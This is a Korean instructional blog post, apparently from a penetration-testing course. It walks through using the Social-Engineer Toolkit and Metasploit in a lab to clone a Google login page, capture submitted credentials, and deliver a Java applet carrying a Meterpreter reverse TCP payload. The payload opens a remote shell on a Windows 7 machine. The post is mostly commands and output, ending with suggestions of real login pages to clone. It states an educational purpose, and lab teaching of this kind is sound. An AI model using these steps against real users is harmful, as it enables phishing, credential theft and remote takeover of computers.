정보보안(구버전)/Metasploit 2016. 6. 7. 15:14

Metasploit - 14. Setoolkit (Fake Web 사이트 구성)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, Window7

 

 

 - setoolkit : Metasploit과 연동되며, MS, Adobe, Java 관련 취약점을 분석할때 편리하게 사용할 수 있는 툴이다.

 - setoolkit을 이용하여 Fake Web 사이트를 구성한 다음, ID/Password 정보 수집 테스트를 실시한다.

 

 

[실습 단계]

 

스캔 -> 공격 타겟 선정 -> Fake Web 사이트 구성 -> Fake Web 사이트 사용자 접속 -> 로그인 -> ID/Password 획득

 

악성 코드 제작 -> Fake Web 사이트 사용자 접속 -> 악성 코드 유입 -> 제어권 획득

 

 

[참고] Kali3로 실습하는 경우

 

root@kali:~# cd /etc/setoolkit/
root@kali:/etc/setoolkit# ls
set.config  set_config.py  set_config.pyc

 

root@kali:/etc/setoolkit# vi set.config

 

~ 중간 생략 ~

 

### of the attack vector.
APACHE_SERVER=OFF <- ON으로 변경
#
### Path to the Apache web root.
APACHE_DIRECTORY=/var/www/html

~ 중간 생략 ~

 

:wq!
 

 

 

 

 

Ex1) Kali Linux 아파치 서비스 재시작

 

@ Kali Linux

 

root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
index.html
root@kali:/var/www/html# rm -rf /var/www/html/*
root@kali:/var/www/html# service apache2 restart
root@kali:/var/www/html# pgrep -lf apache2
7055 apache2
7059 apache2
7060 apache2
7061 apache2
7062 apache2
7063 apache2
7064 apache2


root@kali:/var/www/html# cd
root@kali:~#

 

 

 

Ex2) 'setoolkit' 실행

 

 - Fake Web 사이트를 구성하기 위해서 'setoolkit'을 실행한다.

 

@ Kali Linux

 

root@kali:~# setoolkit
[-] New set.config.py file generated on: 2016-06-07 15:43:55.056366
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2016-06-07 15:43:55.056366
[*] SET is using the new config, no need to restart
~ 중간 생략 ~

 

Do you agree to the terms of service [y/n]: y

 

[3;J

 

                 .--.  .--. .-----.
                : .--': .--'`-. .-'
                `. `. : `;    : :
                 _`, :: :__   : :
                `.__.'`.__.'  :_;  

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
[---]                  Version: 6.5                    [---]
[---]               Codename: 'Mr. Robot'              [---]
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]

 

        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

 

     Join us on irc.freenode.net in channel #setoolkit

 

   The Social-Engineer Toolkit is a product of TrustedSec.

 

             Visit: https://www.trustedsec.com

 

 Select from the menu:

 

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

set> 4
[*] You are running Kali Linux which maintains SET updates.
[*] You can enable bleeding-edge repos for up-to-date SET.
~ 중간 생략 ~

 

 

 Select from the menu:

 

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

set> 5
[-] New set.config.py file generated on: 2016-06-07 15:49:13.474479
[-] Verifying configuration update...

~ 중간 생략 ~

 

 

 Select from the menu:

 

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

 

set> 1

~ 중간 생략 ~


 Select from the menu:

 

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

 

  99) Return back to the main menu.

 

set> 2

 

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

 

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

 

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

 

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

 

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

 

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

 

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

 

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

 

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

 

  99) Return to Main Menu

 

set:webattack> 3

 

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

 

  99) Return to Webattack Menu

 

set:webattack> 1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.50

 

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

 

set:webattack> Select a template: 2

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...

 

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
Apache webserver is set to ON. Copying over PHP file to the website.
Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www directory
[*] All files have been copied to /var/www
{Press return to continue}  (엔터)

 

~ 중간 생략 ~

 

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

 

  99) Return to Main Menu

 

set:webattack> 99

~ 중간 생략 ~

 

 

set> 99

~ 중간 생략 ~

 

 

set> 99


 Thank you for shopping with the Social-Engineer Toolkit.

 Hack the Gibson...and remember...hugs are worth more than handshakes.

root@kali:~#

 

 

 

 - '/var/www/html' 디렉토리에 생성된 Google Fake 사이트 관련 파일 확인

 

root@kali:~# cd /var/www

root@kali:/var/www# ls

html 

 

root@kali:/var/www# cd html

root@kali:/var/www/html# ls

harvester_2016-12-09 17:37:40.681166.txt  index.html  post.php

 

 

 

 

 

Ex3) Window7에서 'http://192.168.20.50'으로 접속 테스트 실시

 

 - 파이어폭스를 이용하여 'http://192.168.20.50' 접속 실시 및 로그인 실시(abcd@test.com/abcd1234)

 

@ Window7

 

 

 

 

 

Ex4) Kali Linux에서 ID/Password 확인

 

@ Kali Linux

 

root@kali:/var/www/html# ls
harvester_2016-06-07 16:22:05.629238.txt  index.html  post.php


root@kali:/var/www/html# cat harvester_2016-06-07\ 16\:22\:05.629238.txt
Array
(
    [GALX] => SJLCkfgaqoM
    [continue] => https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2JmV1hIcDhtUFdldzBENhIfVWsxSTdNLW9MdThibW1TMFQzVUZFc1BBaURuWmlRSQ%E2%88%99APsBz4gAAAAAUy4_qD7Hbfz38w8kxnaNouLcRiD3YTjX
    [service] => lso
    [dsh] => -7381887106725792428
    [_utf8] => ☃
    [bgresponse] => js_disabled
    [pstMsg] => 1
    [dnConn] =>
    [checkConnection] =>
    [checkedDomains] => youtube
    [Email] => abcd@test.com
    [Passwd] => abcd1234
    [signIn] => Sign in
    [PersistentCookie] => yes
)

 

 

root@kali:/var/www/html# cat harvester_*.txt | egrep '(Email|Passwd)'
    [Email] => abcd@test.com
    [Passwd] => abcd1234

 

root@kali:/var/www/html# rm *
root@kali:/var/www/html# ls

 

 

root@kali:/var/www/html# cd
root@kali:~#

 

 

 

 

Ex5) 악성 코드 유입

 

root@kali:~# setoolkit
[-] New set.config.py file generated on: 2016-06-07 15:43:55.056366
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2016-06-07 15:43:55.056366
[*] SET is using the new config, no need to restart
~ 중간 생략 ~

 

 

 Select from the menu:

 

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

set> 1

~ 중간 생략 ~

 

 Select from the menu:

 

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

 

  99) Return back to the main menu.

 

set> 2
~ 중간 생략 ~

 

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

 

  99) Return to Main Menu

 

set:webattack> 1

~ 중간 생략 ~


   1) Web Templates
   2) Site Cloner
   3) Custom Import

 

  99) Return to Webattack Menu

 

set:webattack> 1
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address or hostname for the reverse connection:192.168.20.50

 

[-------------------------------------------]
Java Applet Configuration Options Below
[-------------------------------------------]

 

Next we need to specify whether you will use your own self generated java applet, built in applet, or your own code signed java applet. In this section, you have all three options available. The first will create a self-signed certificate if you have the java jdk installed. The second option will use the one built into SET, and the third will allow you to import your own java applet OR code sign the one built into SET if you have a certificate.

 

Select which option you want:

 

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of Java :(

 

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

 

set:webattack> Select a template: 2

 

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: M0WHDt5p
[*] Malicious java applet website prepped for deployment


What payload do you want to generate:

 

  Name:                                       Description:

   1) Meterpreter Memory Injection (DEFAULT)  This will drop a meterpreter payload through PyInjector
   2) Meterpreter Multi-Memory Injection      This will drop multiple Metasploit payloads via memory
   3) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
   4) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
   5) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
   6) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
   7) Import your own executable              Specify a path for your own executable

 

set:payloads> 1
set:payloads> PORT of the listener [443]: (엔터)

 

Select the payload you want to deliver via shellcode injection

 

   1) Windows Meterpreter Reverse TCP
   2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
   3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager
   4) Windows Meterpreter (ALL PORTS) Reverse TCP

 

set:payloads> Enter the number for the payload [meterpreter_reverse_tcp]: 1

[*] Prepping pyInjector for delivery..
[*] Prepping website for pyInjector shellcode injection..
[*] Base64 encoding shellcode and prepping for delivery..
[*] Multi/Pyinjection was specified. Overriding config options.
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] Apache appears to be running, moving files into Apache's home

 

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

 

[--] Tested on Windows, Linux, and OSX [--]
[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.
[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
                                                 
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 192.168.20.50:443 
[*] Starting the payload handler...

msf exploit(handler) >

 

 

(터미널2)

@ Kali Linux

 

 - '/var/www/html' 디렉토리에 생성된 Google Fake 사이트 관련 파일 확인

 

root@kali:~# cd /var/www/html

root@kali:/var/www/html# ls

hP892k.jar  index.html  msf.exe M0WHDt5p


 

 

 

 

 

Ex6) Window7에 Java 설치 실시 및 구성 설정

 

 - 인터넷을 통하여 Java를 설치한다.

 

 - 설치가 완료되었다면, 다음과 같은 순으로 Java 설정을 변경 및 추가한다.

 

시작 -> Java 구성 -> 보안 -> '높음' 선택


예외사항 사이트 목록 -> 사이트 목록 편집(S) -> 추가 -> 'http://192.168.20.50' -> 확인 -> 확인

                                                                       'http://192.168.20.50:8080'

 

 

 

Ex7) Window7에서 'http://192.168.20.50'으로 접속 테스트 실시

 

 - 파이어폭스를 이용하여 'http://192.168.20.50' 접속 실시 (Internet Explorer 브라우저로 테스트 실시)

 

 

'http://192.168.20.50' 접속 -> "java" 실행 허가 클릭

 

 

 

 

'허가하고 기억(R)' 클릭

 

 

 

'위험을 감수~~' 체크 -> 실행(R) 클릭 -> Reverse TCP 악성 코드 유입 성공



 

 

 

Ex8) Kali Linux 상태 확인

 

 - Kali Linux에 Window7이 연결되었는지 확인 실시

 

@ Kali Linux

 

msf exploit(handler) >
[*] Sending stage (957487 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.202:49633) at 2016-06-07 17:03:13 +0900

 

msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information          Connection
  --  ----                   -----------          ----------
  1   meterpreter x86/win32  WIN7\administrator @ WIN7  192.168.20.50:443 -> 192.168.20.202:49633 (192.168.20.202)

 


msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

 

meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
msf exploit(handler) > quit
[*] Everything has been moved over to Apache and is ready to go.

 

      Press <return> to continue  (엔터)

 

 

~ 중간 생략 ~

 

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

 

  99) Return to Main Menu

 

set:webattack> 99
~ 중간 생략 ~

 

set> 99

~ 중간 생략 ~

 

set> 99


 Thank you for shopping with the Social-Engineer Toolkit.

 

 Hack the Gibson...and remember...hugs are worth more than handshakes.

root@kali:~#

 

root@kali:/var/www# cd /var/www/html
root@kali:/var/www/html# rm *

root@kali:/var/www/html# cd
root@kali:~#

 



[참고] 'Site Cloner'으로 할 경우에는 로그인 페이지로 클론하는 것을 권장함


https://twitter.com/

https://www.facebook.com/

https://nid.naver.com/nidlogin.login

https://logins.daum.net/accounts/signinform.do



 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


Metasploit - 제1장 메타스플로잇 (metaspliot)   

 

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q